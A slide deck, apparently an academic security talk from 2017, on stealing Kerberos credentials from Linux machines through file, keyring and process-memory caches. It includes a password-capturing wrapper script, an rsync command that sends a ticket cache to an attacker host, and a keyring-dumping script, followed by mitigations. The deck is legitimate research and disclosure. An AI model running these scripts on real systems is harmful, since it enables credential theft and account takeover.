Kerberos Credential Thievery (GNU/Linux) Ronan Loftus, Arne Zismer - - PowerPoint PPT Presentation

▶
kerberos credential thievery gnu linux
SMART_READER_LITE
LIVE PREVIEW

Kerberos Credential Thievery (GNU/Linux) Ronan Loftus, Arne Zismer - - PowerPoint PPT Presentation

Feb 21, 2023 237 likes •608 views

Kerberos Credential Thievery (GNU/Linux) Ronan Loftus, Arne Zismer July 3, 2017 Context Kerberos I Authentication protocol Reduce amount of sensitive credentials sent over the network Commonly used in Linux networks (e.g. Hadoop)

slide-1
SLIDE 1

Kerberos Credential Thievery (GNU/Linux)

Ronan Loftus, Arne Zismer July 3, 2017

slide-2
SLIDE 2

Context

slide-3
SLIDE 3

Kerberos I

  • Authentication protocol
  • Reduce amount of sensitive credentials sent over the

network

  • Commonly used in Linux networks (e.g. Hadoop)

1/18

slide-4
SLIDE 4

Research Question

Can Kerberos credentials be stolen from GNU/Linux machines?

2/18

slide-5
SLIDE 5

Related Work

  • Sniffing and replaying Kerberos credentials on the

network [1]

  • Extracting Kerberos credentials from Windows machines

with Mimikatz [2]

3/18

slide-6
SLIDE 6

Approach

slide-7
SLIDE 7

Kerberos II

Figure 1: Kerberos protocol

4/18

slide-8
SLIDE 8

Kerberos II

Figure 2: Kerberos protocol

4/18

slide-9
SLIDE 9

Kerberos II

Figure 3: Kerberos protocol

4/18

slide-10
SLIDE 10

Kerberos II

Figure 4: Kerberos protocol

4/18

slide-11
SLIDE 11

Kerberos II

Figure 5: Our test setup

4/18

slide-12
SLIDE 12

Kerberos II

  • Tickets are stored in credential caches:
  • File
  • Keyring
  • Memory

5/18

slide-13
SLIDE 13

Attacks

slide-14
SLIDE 14

Credential Cache (File)

6/18

slide-15
SLIDE 15

Keylogging I

  • Targeted keylogger
  • Path manipulation

7/18

slide-16
SLIDE 16

Keylogging II

1

if __name__ == '__main__':

2

krbuser = argv[1]

3

child = spawn('/usr/bin/kinit {}' .format(krbuser))

4

prompt = child.read_nonblocking(1024).decode('utf-8')

5

password = getpass(prompt)

6

child.sendline(password)

7

with open("creds.txt", "w") as f;

8

f.write(password)

8/18

slide-17
SLIDE 17

File Copying

  • Default credential storage
  • Contains all relevant authentication information

rsync /tmp/krb5cc_$(id -u) eve@evil.deloitte.nl:

9/18

slide-18
SLIDE 18

Query Kernel Keyring I

What is a keyring?

10/18

slide-19
SLIDE 19

Query Kernel Keyring I

What is a keyring? What is keyctl?

10/18

slide-20
SLIDE 20

Query Kernel Keyring I

What is a keyring? What is keyctl?

  • 1. Find the right keyring
  • 2. Dump the credential fragments
  • 3. Rebuild them as file
  • 4. ???
  • 5. Profit

10/18

slide-21
SLIDE 21

Query Kernel Keyring II

1

#!/bin/bash

2 3

keyring_name="u_name"

4

krb_keyring=$(keyctl search @s "keyring" "_krb_${keyring_name}" 0)

5

keyring=$(keyctl search ${krb_keyring} "keyring" "${keyring_name}" 0)

6

key_components=( $(keyctl rlist ${keyring}) )

7 8

tmp_dir=$(mktemp -d)

9

for i in ${!key_components[@]}; do

10

SPN="$(keyctl rdescribe ${key_components[${i}]} | rev | cut -d';' -f1 | rev)"

11

keyctl pipe "${key_components[${i}]}" > "${tmp_dir}/${SPN}.bin"

12

done

13 14

cat ccache_header_data > krb5cc_$(id -u)

15

cat ${tmp_dir}/__krb5_princ__.bin >> krb5cc_$(id -u)

16

find ${tmp_dir} -name "*krbtgt*" -exec cat {} \; >> krb5cc_$(id -u)

17

rm -rf ${tmp_dir} 11/18

slide-22
SLIDE 22

Dumping Process Memory

  • 1. Create process containing

ticket

  • 2. Dump its memory
  • 3. Find the encrypted blocks
  • 4. Extract them
  • 5. Transplant them into a file

12/18

slide-23
SLIDE 23

Demo

13/18

slide-24
SLIDE 24

Demo

DEMO

Praise be to Cthulhu!

14/18

slide-25
SLIDE 25

Wrapping Up

slide-26
SLIDE 26

Conclusion

Password File Ticket Keyring Ticket Process Ticket

15/18

slide-27
SLIDE 27

Conclusion

Password

  • File Ticket

Keyring Ticket Process Ticket

15/18

slide-28
SLIDE 28

Conclusion

Password

  • File Ticket
  • Keyring Ticket

Process Ticket

15/18

slide-29
SLIDE 29

Conclusion

Password

  • File Ticket
  • Keyring Ticket
  • Process Ticket

15/18

slide-30
SLIDE 30

Conclusion

Password

  • File Ticket
  • Keyring Ticket
  • Process Ticket
  • 15/18
slide-31
SLIDE 31

Conclusion

Password

  • File Ticket
  • Keyring Ticket
  • Process Ticket
  • Tickets can be stolen :(

15/18

slide-32
SLIDE 32

Mitigations

Password: Absolute path, secure path File Ticket: Don’t use it! Keyring Ticket: Choose the most shorted lived keyring Process Ticket: RAM encryption?

16/18

slide-33
SLIDE 33

Extensions

  • Automate Acquisition of tickets from process memory
  • Extend to every keyring type

17/18

slide-34
SLIDE 34

Questions?

slide-35
SLIDE 35

References

Emmanuel Bouillon. Taming the beast: Assess kerberos-protected networks, 2009. Benjamin Delpy. Mimikatz. https://github.com/gentilkiwi/mimikatz, 2014.

18/18